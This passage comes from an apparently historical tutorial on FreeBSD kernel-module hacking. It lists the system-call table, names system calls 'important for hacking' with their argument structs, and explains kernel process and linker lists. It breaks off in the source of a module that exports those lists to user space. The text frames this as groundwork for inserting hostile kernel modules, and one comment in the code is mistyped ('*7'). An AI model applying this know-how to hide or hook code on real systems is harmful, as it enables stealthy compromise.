vlimit */ + { 3, (sy_call_t *)mincore }, /* 78 = mincore */ + { 2, (sy_call_t *)getgroups }, /* 79 = getgroups */ + { 2, (sy_call_t *)setgroups }, /* 80 = setgroups */ + { 0, (sy_call_t *)getpgrp }, /* 81 = getpgrp */ + { 2, (sy_call_t *)setpgid }, /* 82 = setpgid */ + { 3, (sy_call_t *)setitimer }, /* 83 = setitimer */ + { compat(0,wait) }, /* 84 = old wait */ + { 1, (sy_call_t *)swapon }, /* 85 = swapon */ + { 2, (sy_call_t *)getitimer }, /* 86 = getitimer */ + { compat(2,gethostname) }, /* 87 = old gethostname */ + { compat(2,sethostname) }, /* 88 = old sethostname */ + { 0, (sy_call_t *)getdtablesize }, /* 89 = getdtablesize */ + { 2, (sy_call_t *)dup2 }, /* 90 = dup2 */ + { 0, (sy_call_t *)nosys }, /* 91 = getdopt */ + { 3, (sy_call_t *)fcntl }, /* 92 = fcntl */ + { 5, (sy_call_t *)select }, /* 93 = select */ + { 0, (sy_call_t *)nosys }, /* 94 = setdopt */ + { 1, (sy_call_t *)fsync }, /* 95 = fsync */ + { 3, (sy_call_t *)setpriority }, /* 96 = setpriority */ + { 3, (sy_call_t *)socket }, /* 97 = socket */ + { 3, (sy_call_t *)connect }, /* 98 = connect */ + { compat(3,accept) }, /* 99 = old accept */ + { 2, (sy_call_t *)getpriority }, /* 100 = getpriority */ + { compat(4,send) }, /* 101 = old send */ + { compat(4,recv) }, /* 102 = old recv */ + { 1, (sy_call_t *)sigreturn }, /* 103 = sigreturn */ + { 3, (sy_call_t *)bind }, /* 104 = bind */ + { 5, (sy_call_t *)setsockopt }, /* 105 = setsockopt */ + { 2, (sy_call_t *)listen }, /* 106 = listen */ + { 0, (sy_call_t *)nosys }, /* 107 = obsolete vtimes */ + { compat(3,sigvec) }, /* 108 = old sigvec */ + { compat(1,sigblock) }, /* 109 = old sigblock */ + { compat(1,sigsetmask) }, /* 110 = old sigsetmask */ + { 1, (sy_call_t *)sigsuspend }, /* 111 = sigsuspend */ + { compat(2,sigstack) }, /* 112 = old sigstack */ + { compat(3,recvmsg) }, /* 113 = old recvmsg */ + { compat(3,sendmsg) }, /* 114 = old sendmsg */ + { 0, (sy_call_t *)nosys }, /* 115 = obsolete vtrace */ + { 2, (sy_call_t *)gettimeofday }, /* 116 = gettimeofday */ + { 2, (sy_call_t *)getrusage }, /* 117 = getrusage */ + { 5, (sy_call_t *)getsockopt }, /* 118 = getsockopt */ + { 0, (sy_call_t *)nosys }, /* 119 = resuba */ + { 3, (sy_call_t *)readv }, /* 120 = readv */ + { 3, (sy_call_t *)writev }, /* 121 = writev */ + { 2, (sy_call_t *)settimeofday }, /* 122 = settimeofday */ + { 3, (sy_call_t *)fchown }, /* 123 = fchown */ + { 2, (sy_call_t *)fchmod }, /* 124 = fchmod */ + { compat(6,recvfrom) }, /* 125 = old recvfrom */ + { 2, (sy_call_t *)setreuid }, /* 126 = setreuid */ + { 2, (sy_call_t *)setregid }, /* 127 = setregid */ + { 2, (sy_call_t *)rename }, /* 128 = rename */ + { compat(2,truncate) }, /* 129 = old truncate */ + { compat(2,ftruncate) }, /* 130 = old ftruncate */ + { 2, (sy_call_t *)flock }, /* 131 = flock */ + { 2, (sy_call_t *)mkfifo }, /* 132 = mkfifo */ + { 6, (sy_call_t *)sendto }, /* 133 = sendto */ + { 2, (sy_call_t *)shutdown }, /* 134 = shutdown */ + { 4, (sy_call_t *)socketpair }, /* 135 = socketpair */ + { 2, (sy_call_t *)mkdir }, /* 136 = mkdir */ + { 1, (sy_call_t *)rmdir }, /* 137 = rmdir */ + { 2, (sy_call_t *)utimes }, /* 138 = utimes */ + { 0, (sy_call_t *)nosys }, /* 139 = obsolete 4.2 sigreturn */ + { 2, (sy_call_t *)adjtime }, /* 140 = adjtime */ + { compat(3,getpeername) }, /* 141 = old getpeername */ + { compat(0,gethostid) }, /* 142 = old gethostid */ + { compat(1,sethostid) }, /* 143 = old sethostid */ + { compat(2,getrlimit) }, /* 144 = old getrlimit */ + { compat(2,setrlimit) }, /* 145 = old setrlimit */ + { compat(2,killpg) }, /* 146 = old killpg */ + { 0, (sy_call_t *)setsid }, /* 147 = setsid */ + { 4, (sy_call_t *)quotactl }, /* 148 = quotactl */ + { compat(0,quota) }, /* 149 = old quota */ + { compat(3,getsockname) }, /* 150 = old getsockname */ + { 0, (sy_call_t *)nosys }, /* 151 = sem_lock */ + { 0, (sy_call_t *)nosys }, /* 152 = sem_wakeup */ + { 0, (sy_call_t *)nosys }, /* 153 = asyncdaemon */ + { 0, (sy_call_t *)nosys }, /* 154 = nosys */ + { 2, (sy_call_t *)nosys }, /* 155 = nfssvc */ + { compat(4,getdirentries) }, /* 156 = old getdirentries */ + { 2, (sy_call_t *)statfs }, /* 157 = statfs */ + { 2, (sy_call_t *)fstatfs }, /* 158 = fstatfs */ + { 0, (sy_call_t *)nosys }, /* 159 = nosys */ + { 0, (sy_call_t *)nosys }, /* 160 = nosys */ + { 2, (sy_call_t *)nosys }, /* 161 = getfh */ + { 2, (sy_call_t *)getdomainname }, /* 162 = getdomainname */ + { 2, (sy_call_t *)setdomainname }, /* 163 = setdomainname */ + { 1, (sy_call_t *)uname }, /* 164 = uname */ + { 2, (sy_call_t *)sysarch }, /* 165 = sysarch */ + { 3, (sy_call_t *)rtprio }, /* 166 = rtprio */ + { 0, (sy_call_t *)nosys }, /* 167 = nosys */ + { 0, (sy_call_t *)nosys }, /* 168 = nosys */ + { 5, (sy_call_t *)semsys }, /* 169 = semsys */ + { 6, (sy_call_t *)msgsys }, /* 170 = msgsys */ + { 4, (sy_call_t *)shmsys }, /* 171 = shmsys */ + { 0, (sy_call_t *)nosys }, /* 172 = nosys */ + { 0, (sy_call_t *)nosys }, /* 173 = nosys */ + { 0, (sy_call_t *)nosys }, /* 174 = nosys */ + { 0, (sy_call_t *)nosys }, /* 175 = nosys */ + { 1, (sy_call_t *)ntp_adjtime }, /* 176 = ntp_adjtime */ + { 0, (sy_call_t *)nosys }, /* 177 = sfork */ + { 0, (sy_call_t *)nosys }, /* 178 = getdescriptor */ + { 0, (sy_call_t *)nosys }, /* 179 = setdescriptor */ + { 0, (sy_call_t *)nosys }, /* 180 = nosys */ + { 1, (sy_call_t *)setgid }, /* 181 = setgid */ + { 1, (sy_call_t *)setegid }, /* 182 = setegid */ + { 1, (sy_call_t *)seteuid }, /* 183 = seteuid */ + { 0, (sy_call_t *)nosys }, /* 184 = lfs_bmapv */ + { 0, (sy_call_t *)nosys }, /* 185 = lfs_markv */ + { 0, (sy_call_t *)nosys }, /* 186 = lfs_segclean */ + { 0, (sy_call_t *)nosys }, /* 187 = lfs_segwait */ + { 2, (sy_call_t *)stat }, /* 188 = stat */ + { 2, (sy_call_t *)fstat }, /* 189 = fstat */ + { 2, (sy_call_t *)lstat }, /* 190 = lstat */ + { 2, (sy_call_t *)pathconf }, /* 191 = pathconf */ + { 2, (sy_call_t *)fpathconf }, /* 192 = fpathconf */ + { 0, (sy_call_t *)nosys }, /* 193 = nosys */ + { 2, (sy_call_t *)getrlimit }, /* 194 = getrlimit */ + { 2, (sy_call_t *)setrlimit }, /* 195 = setrlimit */ + { 4, (sy_call_t *)getdirentries }, /* 196 = getdirentries */ + { 8, (sy_call_t *)mmap }, /* 197 = mmap */ + { 0, (sy_call_t *)nosys }, /* 198 = __syscall */ + { 5, (sy_call_t *)lseek }, /* 199 = lseek */ + { 4, (sy_call_t *)truncate }, /* 200 = truncate */ + { 4, (sy_call_t *)ftruncate }, /* 201 = ftruncate */ + { 6, (sy_call_t *)__sysctl }, /* 202 = __sysctl */ + { 2, (sy_call_t *)mlock }, /* 203 = mlock */ + { 2, (sy_call_t *)munlock }, /* 204 = munlock */ + { 1, (sy_call_t *)undelete }, /* 205 = undelete */ + { 2, (sy_call_t *)futimes }, /* 206 = futimes */ + { 1, (sy_call_t *)getpgid }, /* 207 = getpgid */ + { 0, (sy_call_t *)nosys }, /* 208 = newreboot */ + { 3, (sy_call_t *)poll }, /* 209 = poll */ + { 0, (sy_call_t *)lkmnosys }, /* 210 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 211 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 212 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 213 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 214 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 215 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 216 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 217 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 218 = lkmnosys */ + { 0, (sy_call_t *)lkmnosys }, /* 219 = lkmnosys */ + { 4, (sy_call_t *)__semctl }, /* 220 = __semctl */ + { 3, (sy_call_t *)semget }, /* 221 = semget */ + { 3, (sy_call_t *)semop }, /* 222 = semop */ + { 1, (sy_call_t *)semconfig }, /* 223 = semconfig */ + { 3, (sy_call_t *)msgctl }, /* 224 = msgctl */ + { 2, (sy_call_t *)msgget }, /* 225 = msgget */ + { 4, (sy_call_t *)msgsnd }, /* 226 = msgsnd */ + { 5, (sy_call_t *)msgrcv }, /* 227 = msgrcv */ + { 3, (sy_call_t *)shmat }, /* 228 = shmat */ + { 3, (sy_call_t *)shmctl }, /* 229 = shmctl */ + { 1, (sy_call_t *)shmdt }, /* 230 = shmdt */ + { 3, (sy_call_t *)shmget }, /* 231 = shmget */ + { 2, (sy_call_t *)clock_gettime }, /* 232 = clock_gettime */ + { 2, (sy_call_t *)clock_settime }, /* 233 = clock_settime */ + { 2, (sy_call_t *)clock_getres }, /* 234 = clock_getres */ + { 0, (sy_call_t *)nosys }, /* 235 = timer_create */ + { 0, (sy_call_t *)nosys }, /* 236 = timer_delete */ + { 0, (sy_call_t *)nosys }, /* 237 = timer_settime */ + { 0, (sy_call_t *)nosys }, /* 238 = timer_gettime */ + { 0, (sy_call_t *)nosys }, /* 239 = timer_getoverrun */ + { 2, (sy_call_t *)nanosleep }, /* 240 = nanosleep */ + { 0, (sy_call_t *)nosys }, /* 241 = nosys */ + { 0, (sy_call_t *)nosys }, /* 242 = nosys */ + { 0, (sy_call_t *)nosys }, /* 243 = nosys */ + { 0, (sy_call_t *)nosys }, /* 244 = nosys */ + { 0, (sy_call_t *)nosys }, /* 245 = nosys */ + { 0, (sy_call_t *)nosys }, /* 246 = nosys */ + { 0, (sy_call_t *)nosys }, /* 247 = nosys */ + { 0, (sy_call_t *)nosys }, /* 248 = nosys */ + { 0, (sy_call_t *)nosys }, /* 249 = nosys */ + { 3, (sy_call_t *)minherit }, /* 250 = minherit */ + { 1, (sy_call_t *)rfork }, /* 251 = rfork */ + { 3, (sy_call_t *)openbsd_poll }, /* 252 = openbsd_poll */ + { 0, (sy_call_t *)issetugid }, /* 253 = issetugid */ + { 3, (sy_call_t *)lchown }, /* 254 = lchown */ + { 0, (sy_call_t *)nosys }, /* 255 = nosys */ + { 0, (sy_call_t *)nosys }, /* 256 = nosys */ + { 0, (sy_call_t *)nosys }, /* 257 = nosys */ + { 0, (sy_call_t *)nosys }, /* 258 = nosys */ + { 0, (sy_call_t *)nosys }, /* 259 = nosys */ + { 0, (sy_call_t *)nosys }, /* 260 = nosys */ + { 0, (sy_call_t *)nosys }, /* 261 = nosys */ + { 0, (sy_call_t *)nosys }, /* 262 = nosys */ + { 0, (sy_call_t *)nosys }, /* 263 = nosys */ + { 0, (sy_call_t *)nosys }, /* 264 = nosys */ + { 0, (sy_call_t *)nosys }, /* 265 = nosys */ + { 0, (sy_call_t *)nosys }, /* 266 = nosys */ + { 0, (sy_call_t *)nosys }, /* 267 = nosys */ + { 0, (sy_call_t *)nosys }, /* 268 = nosys */ + { 0, (sy_call_t *)nosys }, /* 269 = nosys */ + { 0, (sy_call_t *)nosys }, /* 270 = nosys */ + { 0, (sy_call_t *)nosys }, /* 271 = nosys */ + { 3, (sy_call_t *)getdents }, /* 272 = getdents */ + { 0, (sy_call_t *)nosys }, /* 273 = nosys */ + { 2, (sy_call_t *)lchmod }, /* 274 = lchmod */ + { 3, (sy_call_t *)lchown }, /* 275 = netbsd_lchown */ + { 2, (sy_call_t *)lutimes }, /* 276 = lutimes */ + { 3, (sy_call_t *)msync }, /* 277 = netbsd_msync */ + { 2, (sy_call_t *)nstat }, /* 278 = nstat */ + { 2, (sy_call_t *)nfstat }, /* 279 = nfstat */ + { 2, (sy_call_t *)nlstat }, /* 280 = nlstat */ + { 0, (sy_call_t *)nosys }, /* 281 = nosys */ + { 0, (sy_call_t *)nosys }, /* 282 = nosys */ + { 0, (sy_call_t *)nosys }, /* 283 = nosys */ + { 0, (sy_call_t *)nosys }, /* 284 = nosys */ + { 0, (sy_call_t *)nosys }, /* 285 = nosys */ + { 0, (sy_call_t *)nosys }, /* 286 = nosys */ + { 0, (sy_call_t *)nosys }, /* 287 = nosys */ + { 0, (sy_call_t *)nosys }, /* 288 = nosys */ + { 0, (sy_call_t *)nosys }, /* 289 = nosys */ + { 0, (sy_call_t *)nosys }, /* 290 = nosys */ + { 0, (sy_call_t *)nosys }, /* 291 = nosys */ + { 0, (sy_call_t *)nosys }, /* 292 = nosys */ + { 0, (sy_call_t *)nosys }, /* 293 = nosys */ + { 0, (sy_call_t *)nosys }, /* 294 = nosys */ + { 0, (sy_call_t *)nosys }, /* 295 = nosys */ + { 0, (sy_call_t *)nosys }, /* 296 = nosys */ + { 0, (sy_call_t *)nosys }, /* 297 = nosys */ + { 0, (sy_call_t *)nosys }, /* 298 = nosys */ + { 0, (sy_call_t *)nosys }, /* 299 = nosys */ + { 1, (sy_call_t *)modnext }, /* 300 = modnext */ + { 2, (sy_call_t *)modstat }, /* 301 = modstat */ + { 1, (sy_call_t *)modfnext }, /* 302 = modfnext */ + { 1, (sy_call_t *)modfind }, /* 303 = modfind */ + { 1, (sy_call_t *)kldload }, /* 304 = kldload */ + { 1, (sy_call_t *)kldunload }, /* 305 = kldunload */ + { 1, (sy_call_t *)kldfind }, /* 306 = kldfind */ + { 1, (sy_call_t *)kldnext }, /* 307 = kldnext */ + { 2, (sy_call_t *)kldstat }, /* 308 = kldstat */ + { 1, (sy_call_t *)kldfirstmod }, /* 309 = kldfirstmod */ + { 1, (sy_call_t *)getsid }, /* 310 = getsid */ + { 0, (sy_call_t *)nosys }, /* 311 = setresuid */ + { 0, (sy_call_t *)nosys }, /* 312 = setresgid */ + { 0, (sy_call_t *)nosys }, /* 313 = obsolete signanosleep */ + { 1, (sy_call_t *)aio_return }, /* 314 = aio_return */ + { 3, (sy_call_t *)aio_suspend }, /* 315 = aio_suspend */ + { 2, (sy_call_t *)aio_cancel }, /* 316 = aio_cancel */ + { 1, (sy_call_t *)aio_error }, /* 317 = aio_error */ + { 1, (sy_call_t *)aio_read }, /* 318 = aio_read */ + { 1, (sy_call_t *)aio_write }, /* 319 = aio_write */ + { 4, (sy_call_t *)lio_listio }, /* 320 = lio_listio */ + { 0, (sy_call_t *)yield }, /* 321 = yield */ + { 1, (sy_call_t *)thr_sleep }, /* 322 = thr_sleep */ + { 1, (sy_call_t *)thr_wakeup }, /* 323 = thr_wakeup */ + { 1, (sy_call_t *)mlockall }, /* 324 = mlockall */ + { 0, (sy_call_t *)munlockall }, /* 325 = munlockall */ + { 2, (sy_call_t *)__getcwd }, /* 326 = __getcwd */ + { 2, (sy_call_t *)sched_setparam }, /* 327 = sched_setparam */ + { 2, (sy_call_t *)sched_getparam }, /* 328 = sched_getparam */ + { 3, (sy_call_t *)sched_setscheduler }, /* 329 = sched_setscheduler */ + { 1, (sy_call_t *)sched_getscheduler }, /* 330 = sched_getscheduler */ + { 0, (sy_call_t *)sched_yield }, /* 331 = sched_yield */ + { 1, (sy_call_t *)sched_get_priority_max }, /* 332 = sched_get_priority_max */ + { 1, (sy_call_t *)sched_get_priority_min }, /* 333 = sched_get_priority_min */ + { 2, (sy_call_t *)sched_rr_get_interval }, /* 334 = sched_rr_get_interval */ + { 2, (sy_call_t *)utrace }, /* 335 = utrace */ + { 8, (sy_call_t *)sendfile }, /* 336 = sendfile */ + { 3, (sy_call_t *)kldsym }, /* 337 = kldsym */ +}; + +As you can see sysent[] contains one sysent structure for every system call +installed on the system. Recall that the first element in the sysent structure +is the argument count and the second the function pointer. This means for the +kldsysm system call : + +argument cound : 3 +system call function : kldsysm + +And this means that we can get the sysent entry of every system call we want by +reading sysent[system call number]. The easiest way to get the index is to use +the syscalls.h file. + +

    +

    6.1 Important system calls for hacking

    +

    +Now I want to extract the most important system calls you have to understand in +order to do a bit of kernel hacking. I give you the system call number, the +function and their arguments structure. Maybe you need to hack other +system calls, its just a matter of creativity. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    system callnumberargument struct
    read(p, uap)3struct read_args {
    +int fd;
    +void *buf;
    +size_t nbyte; }
    write(p, uap)4struct write_args {
    +int fd;
    +const void *buf;
    +size_t nbyte; }
    open(p, uap)5struct open_args {
    +char *path;
    +int flags;
    +int mode; }
    link(p, uap)9struct link_args {
    +char *path;
    +char *link; }
    recvfrom(p, uap)29struct recvfrom_args {
    +int s;
    +caddr_t buf;
    +size_t len;
    +int flags;
    +caddr_t from;
    +int *fromlenaddr; }
    +
    accept(p, uap)30struct accept_args {
    +int s;
    +caddr_t name;
    +int *anamelen; }
    +
    kill(p, uap)37struct kill_args {
    +int pid;
    +int signum; }
    +
    ktrace(p, uap)45struct ktrace_args {
    +char *fname;
    +int ops;
    +int facs;
    +int pid; }
    +
    ioctl(p, uap)54struct ioctl_args {
    +int fd_;
    +u_long com;
    +caddr_t data; }
    +
    reboot(p, uap)55struct reboot_args {
    +int opt; }
    +
    execve(p, uap)59struct execve_args {
    +char *fname;
    +char **argv;
    +char **envv; }
    +
    sbrk(p, uap)69struct sbrk_args {
    +int incr; }
    +
    socket(p, uap)97struct socket_args {
    +int domain;
    +int type;
    +int protocol; }
    +
    connect(p, uap)98struct connect_args {
    +int s;
    +caddr_t name;
    +int namelen; }
    +
    bind(p, uap)104struct bind_args {
    +int s;
    +caddr_t name;
    +int namelen; }
    +
    listen(p, uap)106struct listen_args {
    +int s;
    +int backlog; }
    +
    readv(p, uap)120struct readv_args {
    +int fd;
    +struct iovec *iovp;
    +u_int iovcnt; }
    +
    writev(p, uap)121struct writev_args {
    +int fd;
    +struct iovec *iovp;
    +u_int iovcnt; }
    +
    rename(p, uap)128struct rename_args {
    +char *from;
    +char *to; }
    +
    sendto(p, uap)133struct sendto_args {
    +int s;
    +caddr_t buf;
    +size_t len;
    +int flags;
    +caddr_t to;
    +int tolen; }
    +
    mkdir(p, uap)136struct mkdir_args {
    +char *path;
    +int mode; }
    +
    rmdir(p, uap)137struct rmdir_args {
    +char *path; }
    +
    getdirentries(p, uap)196struct getdirentries_args {
    +int fd;
    +char *buf;
    +u_int count;
    +long *basep; }
    +
    modnext(p, uap)300struct modnext_args {
    +int modid; }
    +
    modstat(p, uap)301struct modstat_args {
    +int modid;
    +struct module_stat *stat; }
    +
    modfnext(p, uap)302struct modfnext_args {
    +int modid; }
    +
    modfind(p, uap)303struct modfind_args {
    +char *name; }
    +
    kldload(p, uap)304struct kldload_args {
    +const char *file; }
    +
    kldunload(p, uap)305struct kldunload_args {
    +int fileid; }
    +
    kldfind(p, uap)306struct kldfind_args {
    +const char *file; }
    +
    kldnext(p, uap)307struct kldnext_args {
    +int fileid; }
    +
    kldstat(p, uap)308struct kldstat_args {
    +int fileid;
    +struct kld_file_stat *stat; }
    +
    kldsym(p, uap)337struct kldsym_args {
    +int fileid;
    +int cmd;
    +void *data; }
    +
    + + + +As you can see every system call gets the proc structure (standing for the +process calling the system call) and a special argument structure. + +

    +

    7. Important Kernel structures / lists

    +

    + +Beside system calls kernel structures and lists are one of the most important +things we have to deal with. This section will explain the most basic kernel +structures and lists we need to understand. It is impossible to give you a +complete list of all interesting kernel lists, of course.
    +This text is dealing with inserting hostile modules into the kernel. Those +modules are wrapped by link files. The kernel inserts any link file loaded in +a global list of linker_file structures. So let's take a look at this +structure : +

    +struct linker_file { + int refs; /* reference count */ + int userrefs; /* kldload(2) count */ + TAILQ_ENTRY(linker_file) link; /* list of all loaded files */ + char* filename; /* file which was loaded */ + int id; /* unique id */ + caddr_t address; /* load address */ + size_t size; /* size of file */ + int ndeps; /* number of dependancies */ + linker_file_t* deps; /* list of dependancies */ + STAILQ_HEAD(, common_symbol) common; /* list of common symbols */ + TAILQ_HEAD(, module) modules; /* modules in this file */ + void* priv; /* implementation data */ + struct linker_file_ops* ops; +}; + +Take a look at it. The general layout should be clear : link is used for the +list management, filename is the name of the link file, modules stands for +the modules in that file. This is the structure, but where is the global list +holding all these entries? Take a look at the following line that can be +found in kern_linker.c : + +static linker_file_list_t files; + +Unexpirienced kernel coders will ask what linker_file_list_t stands for (we +thought of something like linker_file). Ok so let's look what +linker_file_list_t stands for : + +typedef TAILQ_HEAD(, linker_file) linker_file_list_t; + +TAILQ_HEAD is one of lots of macros defined in queue.h. This include file +provides lots o very helpful macros helping the kernel to manage a lot of +internal lists. Let's say that the line above does something like +initialization of the linker_file list, which can now be accessed via +linker_file_list_t ('TheSeeker' will show how to use those macros). +Ok now we know where the linker_file list is located this should be enough for +the moment.
    +Now what about modules. As I said before modules are described by a module +structure (see above). Those structures are also organized in a global list. +So where and how is this list defined, take a look at this line from +kern_module.c : + +typedef TAILQ_HEAD(, module) modulelist_t; + +Again we see TAILQ_HEAD providing us with a list and again we now know that +modulelist_t is the global list for every module loaded.
    +One of the most important none-module related list in the kernel is the +allproc (zombproc) list. The allproc list holds every process on the system +except the zombie processes those are hold by zombproc. First let's take a +look at the general structure of a process entry. The proc structure holds +every piece of information needed : + +struct proc { + TAILQ_ENTRY(proc) p_procq; /* run/sleep queue. */ + LIST_ENTRY(proc) p_list; /* List of all processes. */ + + /* substructures: */ + struct pcred *p_cred; /* Process owner's identity. */ + struct filedesc *p_fd; /* Ptr to open files structure. */ + struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */ + struct plimit *p_limit; /* Process limits. */ + struct vm_object *p_upages_obj;/* Upages object */ + struct procsig *p_procsig; +#define p_sigacts p_procsig->ps_sigacts +#define p_sigignore p_procsig->ps_sigignore +#define p_sigcatch p_procsig->ps_sigcatch + +#define p_ucred p_cred->pc_ucred +#define p_rlimit p_limit->pl_rlimit + + int p_flag; /* P_* flags. */ + char p_stat; /* S* process status. */ + char p_pad1[3]; + + pid_t p_pid; /* Process identifier. */ + LIST_ENTRY(proc) p_hash; /* Hash chain. */ + LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */ + struct proc *p_pptr; /* Pointer to parent process. */ + LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */ + LIST_HEAD(, proc) p_children; /* Pointer to list of children. */ + + struct callout_handle p_ithandle; /* + * Callout handle for scheduling + * p_realtimer. + */ +/* The following fields are all zeroed upon creation in fork. */ +#define p_startzero p_oppid + + pid_t p_oppid; /* Save parent pid during ptrace. XXX */ + int p_dupfd; /* Sideways return value from fdopen. XXX */ + + struct vmspace *p_vmspace; /* Address space. */ + + /* scheduling */ + u_int p_estcpu; /* Time averaged value of p_cpticks. */ + int p_cpticks; /* Ticks of cpu time. */ + fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */ + void *p_wchan; /* Sleep address. */ + const char *p_wmesg; /* Reason for sleep. */ + u_int p_swtime; /* Time swapped in or out. */ + u_int p_slptime; /* Time since last blocked. */ + + struct itimerval p_realtimer; /* Alarm timer. */ + u_int64_t p_runtime; /* Real time in microsec. */ + struct timeval p_switchtime; /* When last scheduled */ + u_quad_t p_uticks; /* Statclock hits in user mode. */ + u_quad_t p_sticks; /* Statclock hits in system mode. */ + u_quad_t p_iticks; /* Statclock hits processing intr. */ + + int p_traceflag; /* Kernel trace points. */ + struct vnode *p_tracep; /* Trace to vnode. */ + + int p_siglist; /* Signals arrived but not delivered. */ + + struct vnode *p_textvp; /* Vnode of executable. */ + + char p_lock; /* Process lock (prevent swap) count. */ + char p_oncpu; /* Which cpu we are on */ + char p_lastcpu; /* Last cpu we were on */ + char p_pad2; /* alignment */ + + short p_locks; /* DEBUG: lockmgr count of held locks */ + short p_simple_locks; /* DEBUG: count of held simple locks */ + unsigned int p_stops; /* procfs event bitmask */ + unsigned int p_stype; /* procfs stop event type */ + char p_step; /* procfs stop *once* flag */ + unsigned char p_pfsflags; /* procfs flags */ + char p_pad3[2]; /* padding for alignment */ + register_t p_retval[2]; /* syscall aux returns */ + struct sigiolst p_sigiolst; /* list of sigio sources */ + int p_sigparent; /* signal to parent on exit */ + sigset_t p_oldsigmask; /* saved mask from before sigpause */ + int p_sig; /* for core dump/debugger XXX */ + u_long p_code; /* for core dump/debugger XXX */ + +/* End area that is zeroed on creation. */ +#define p_endzero p_startcopy + +/* The following fields are all copied upon creation in fork. */ +#define p_startcopy p_sigmask + + sigset_t p_sigmask; /* Current signal mask. */ + u_char p_priority; /* Process priority. */ + u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */ + char p_nice; /* Process "nice" value. */ + char p_comm[MAXCOMLEN+1]; + + struct pgrp *p_pgrp; /* Pointer to process group. */ + + struct sysentvec *p_sysent; /* System call dispatch information. */ + + struct rtprio p_rtprio; /* Realtime priority. */ +/* End area that is copied on creation. */ +#define p_endcopy p_addr + struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */ + struct mdproc p_md; /* Any machine-dependent fields. */ + + u_short p_xstat; /* Exit status for wait; also stop signal. */ + u_short p_acflag; /* Accounting flags. */ + struct rusage *p_ru; /* Exit information. XXX */ + + int p_nthreads; /* number of threads (only in leader) */ + void *p_aioinfo; /* ASYNC I/O info */ + int p_wakeup; /* thread id */ + struct proc *p_peers; + struct proc *p_leader; + struct pasleep p_asleep; /* Used by asleep()/await(). */ +}; + +This structure is quite big and complex. There are lots of substructurs we will +use in part II, so I won't explain them here. Most of the fields should be +clear. The vmspace field is also very important for us, because it's our gate +to the process' memory.
    +Now we know how processes are described, but where do we have the allproc and +zombroc lists ? Let's search for them in kern_proc.c : + +struct proclist allproc; +struct proclist zombroc; + +A reference to proclist can be found in proc.h + +LIST_HEAD(proclist, proc); + +LIST_HEAD is another macro taken from queue.h that provides a list (here +proclist). Now we know how to find any process running on the system : just +look through allproc (zombroc).
    +This are the most basic lists and structures we need to understand, there are +thousands more, but we won't need them too often. + +

    +

    7.1.1. TheSeeker - or how to access kernel lists

    +

    + +I developed a little module that inserts one new system call which provides +us with the ability to export some kernel space structures and lists to user +space. This is not very useful (there are better libc calls), I just wrote it +to show you in an easy way how to handle system calls, kernel lists, user space +kernel space interfaces, etc. There are some pieces of code that handle the +user space <-> kernel space transition. For those not aware of this problem I +suggest first reading section I.8. Those who read my Linux article should be +able to continue without problems. So here is the module source : +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <sys/lock.h> + +#define GD_ALLPROC 1 +#define GD_LINKFILES 2 +#define GD_MODULES 3 + +typedef TAILQ_HEAD(, module) modulelist_t; + +/*import lock structure*/ +extern struct lock lock; + +/*import the linker_file list*/ +extern linker_file_list_t files; + +/*import module list*/ +extern modulelist_t modules; + +/*the module structure (normally defined in kern_module.c)*/ +struct module { + TAILQ_ENTRY(module) link; + TAILQ_ENTRY(module) flink; + struct linker_file *file; + int refs; + int id; + char *name; + modeventhand_t handler; + void *arg; + modspecific_t data; +}; + +/*structure for our getdata system call*/ + +static struct getdata_args { + /*this int value stands for the data the user wants to see*/ + int what; + /*this is a user space buffer where we will put the data*/ + char *buffer; +}; + + +/*the system call function we implement*/ +/*GENERAL WORKING : + This system call gets two arguments from a user space program : an integer + used as a switch parameter (what kernel list do we want) and a pointer to + an allocated user space memory location. If this pointer is zero the + system call will return the size of the requested list. This is useful for + selecting the buffer size in a second step.*/ + +static +int getdata(struct proc *p, struct getdata_args *uap) +{ + int size, flag=0; + struct proc *pr; + linker_file_t lf=0; + module_t mod=0; + + /*if the buffer is NULL then the user requests the list size*/ + if (uap->buffer==NULL) flag=1; + + /*which list does the user want*/ + switch(uap->what) + { + case GD_ALLPROC : + { + size=0; + pr=allproc.lh_first; + for (; pr!=0; pr=pr->p_list.le_next) + { + size+=sizeof(struct proc); + } + /*if the user only want the size, return it*/ + if (flag==1) {p->p_retval[0]=size; break;} + pr=allproc.lh_first; + size=0; + /*otherwise returnthe structure into the user space buffer*7 + for(; pr!=0; pr=pr->p_list.le_next) + { + copyout(pr, uap->buffer+size, sizeof(struct proc)); + size+=sizeof(struct proc); + } + /*return number of procs returned in buffer*/ + p->p_retval[0]=size/sizeof(struct proc); + break; + } + case GD_MODULES : + { + size=0; + for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) + { + size+=sizeof(struct module); + } + if (flag==1) {p->p_retval[0]=size; break;} + size=0; + for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) + { + copyout(mod, uap->buffer+size, sizeof(struct module)); + 